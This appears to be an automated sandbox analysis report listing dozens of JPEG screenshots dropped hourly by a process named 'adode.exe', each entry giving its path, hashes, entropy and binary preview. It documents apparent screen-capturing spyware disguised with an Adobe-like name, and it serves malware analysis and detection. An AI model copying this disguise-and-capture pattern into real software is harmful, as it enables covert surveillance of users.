Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_020056.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_032827.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_052158.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_072921.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_093845.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_120101.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_135209.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149468
Entropy (8bit):	7.930508120753657
Encrypted:	false
SSDEEP:	3072:U93dUE26TuQVyA4vLtidvz6B9QB+J3JGJd7UNfCVCtXG0CDj8:gCEPuQVWSvzIQEzGJIf8CcM
MD5:	97A7F387C7F40C0C8F5CA5798A98F5A2
SHA1:	59E342AC3E7EC0EDC0252819B22F30F83A82105C
SHA-256:	EA9309FB776E5768F0DFA07E6DD461C7328EAE46DE3D1E29B2F0E141C6545FD5
SHA-512:	39E7EDDBE358A571A9CB8373EC8B89C85CD06907FD7BB585AF017A883348E30E2834A77F9BFD7A096A0143C94205CEDE3CF04BD718F0713FE793A877FED8B0AB
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_153836.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152697
Entropy (8bit):	7.925451820100226
Encrypted:	false
SSDEEP:	3072:qUpRrY2dUOhivjSry3V26QUH4Bor9c0mTCY5Y2wNDahRGC+jM:3nrYoUOUvjSa2PwmTCYoDORGCoM
MD5:	30A8DFD4DCA17FF326F727F336AE9849
SHA1:	2F31D8D7C48B2D9F931720A1AD95B6B16F934976
SHA-256:	8FCFBA8A776E6CAA6189B86802596211D836A5759F383F3FFDCD067D885C739F
SHA-512:	C7B01B74F839D24239B7D195C515147D08449EBFE8ABE7396FFB371C6A5F86AAE9153C731B661392A69B132A07F22B693BEA90E267757E25981A3860F329730E
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_171119.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_181510.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_200701.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250126_220757.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_002654.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_025749.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_054036.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_075308.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250127_095429.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
